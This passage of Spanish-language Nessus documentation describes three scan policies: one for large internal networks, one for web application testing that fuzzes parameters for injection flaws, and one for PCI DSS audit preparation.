Esta directiva está ajustada para ofrecer un mejor rendimiento, teniendo en cuenta que se puede usar para analizar redes internas grandes con muchos hosts, varios servicios expuestos y sistemas incrustados, como las impresoras. Las comprobaciones de la CGI se deshabilitan y se analiza un conjunto de puertos estándar, no los 65 535.

“Web App Tests” (Pruebas de aplicaciones web)

Si desea analizar sus sistemas e indicar que Nessus detecte vulnerabilidades conocidas y desconocidas en sus aplicaciones web, esta es la directiva de análisis adecuada para usted. En esta directiva se habilita la capacidad de “pruebas de exploración de vulnerabilidades mediante datos aleatorios” de Nessus, que hará que Nessus recorra todos los sitios web descubiertos y busque las vulnerabilidades que se encuentren en cada parámetro, incluidos XSS, SQL, inserción de comandos y varios más. Esta directiva identificará problemas a través de HTTP y HTTPS.

“Prepare for PCI DSS audits” **(Preparar para auditorías de PCI DSS)**

Esta directiva habilita las comprobaciones de compatibilidad PCI DSS incorporadas que comparan los resultados de los análisis con los estándares de PCI, y genera un informe sobre su posición de compatibilidad. Es muy importante destacar que un análisis de compatibilidad de resultado correcto no garantiza la compatibilidad ni una infraestructura segura. Las organizaciones que se preparen para una evaluación según PCI DSS pueden usar esta directiva a fin de preparar su red y sus sistemas para tener compatibilidad PCI DSS.